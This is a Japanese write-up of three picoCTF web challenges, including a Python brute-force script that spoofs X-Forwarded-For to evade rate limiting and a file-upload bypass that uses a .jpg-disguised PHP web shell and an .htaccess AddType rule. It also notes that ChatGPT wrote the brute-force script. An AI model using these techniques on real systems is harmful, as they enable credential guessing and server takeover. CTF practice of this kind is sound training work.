Crack the Gate 1 [100pt]
We’re in the middle of an investigation. One of our persons of interest, ctf player, is believed to be hiding sensitive data inside a restricted web portal. We’ve uncovered the email address he uses to log in: ctf-player@picoctf.org. Unfortunately, we don’t know the password, and the usual guessing techniques haven’t worked. But something feels off... it’s almost like the developer left a secret way in. Can you figure it out?
The website is running here. Can you try to log in?
サイトにアクセスして、ソースを見てみます。
その中身に
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->
という文字列を発見![]()
ROT13されているようなので直します。
↓結果
<!-- NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes" -->
ここから、ログインのバイパスには、ヘッダーにX-Dev-Access: yesを追加することが必要だそう。
サクッとブラウザ上で終わらせたいので、Chromeの拡張機能を使います。
ここで、リクエストヘッダーに情報を追加するため、
の状態にしたうえで、
email: ctf-player@picoctf.org
password: <任意>
でログインします。
フラグゲット![]()
Crack the Gate 2 [200pt]
The login system has been upgraded with a basic rate-limiting mechanism that locks out repeated failed attempts from the same source. We’ve received a tip that the system might still trust user-controlled headers. Your objective is to bypass the rate-limiting restriction and log in using the known email address: ctf-player@picoctf.org and uncover the hidden secret.
The website is running here. Can you try to log in?.
Download the passwords list here.
問題文を見ると、メールアドレスはctf-player@picoctf.orgでログインし、かつレート制限を回避しながら、リストのパスワードを総当たりする必要がありそう。
問1でBurpを使わないようにしたけど、結局使いますよね。。。
ということで今日も今日とてBurpSuiteを起動。
Proxyから「Send Intruder」を選択し、Intruderタブに移ります。
移った後は、「Sniper Attack」から「Pitchfork attack」を選択します。
このように編集したうえで、
の2つの設定を行います。
2.の部分では、ダウンロードしたテキストファイルをLoad..から選択しておきます。
準備終了!
いざ総当たり
結果を見ると、1つだけレスポンスサイズが異なります。
このレスポンスを見てみると、、、
フラグゲット!!
別解
みんな大好きChatGPTにお願いする方法もimport requests
import random
# ターゲットURL
URL = "http://amiable-citadel.picoctf.net:<port>/login"
EMAIL = "ctf-player@picoctf.org"
# パスワードリストの読み込み
with open("パスワード.txt", "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[*] {len(passwords)}個のパスワードを試行します...")
# 各パスワードを試行
for i, password in enumerate(passwords, 1):
# ランダムなIPアドレスを生成してX-Forwarded-Forヘッダーに設定
fake_ip = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
headers = {
"Content-Type": "application/json",
"Accept": "*/*",
"X-Forwarded-For": fake_ip
}
data = {
"email": EMAIL,
"password": password
}
print(f"[{i}/{len(passwords)}] パスワード: {password} (IP: {fake_ip})", end=" ... ")
try:
response = requests.post(URL, json=data, headers=headers)
# 成功した場合
print(f"[+] レスポンス: {response.text}")
except Exception as e:
print(f"エラー: {e}")
print("\n[*] 完了")
byp4ss3d [300pt]
A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there's a way to slip past the checks and interact with the server in ways you shouldn't.
You can access the web application at here!
問題文から、大学のポータルサイトに任意のファイルをアップロードできる可能性があることがわかりますね。
画像に擬態したPHPファイルをアップロードしましょう。
このGithubのリポジトリにあるPHPファイルをダウンロードした上で、拡張子を「jpg」に変更してアップロードしてみます。
アップロードしたJPGファイル(中身はPHP)にアクセスしてサクッとフラグをゲットしましょう!!
Webシェルが開かない。。。
phpファイルを読み込んでもそれをphpファイルとして扱ってくれないっぽい。
ヒントを見てみると.htaccessをアップロードという旨のヒントがあった!
調べてみると、.htaccessに文字列を記載するとphpファイルを実行できるようになるっぽい。
AddType application/x-httpd-php .jpg
これをアップロードした上で、再度JPGファイル(phpに擬態したやつ)をアップロードして、アクセスしてみます。
Webシェル!!!!
ということで、
ls
#やら
cd ../; ls
#やら
cd ../../; ls
#やらで
フラグの場所を見つけたので、最後にcatして終わりです!
フラグゲット!!
これでWebは全完です![]()












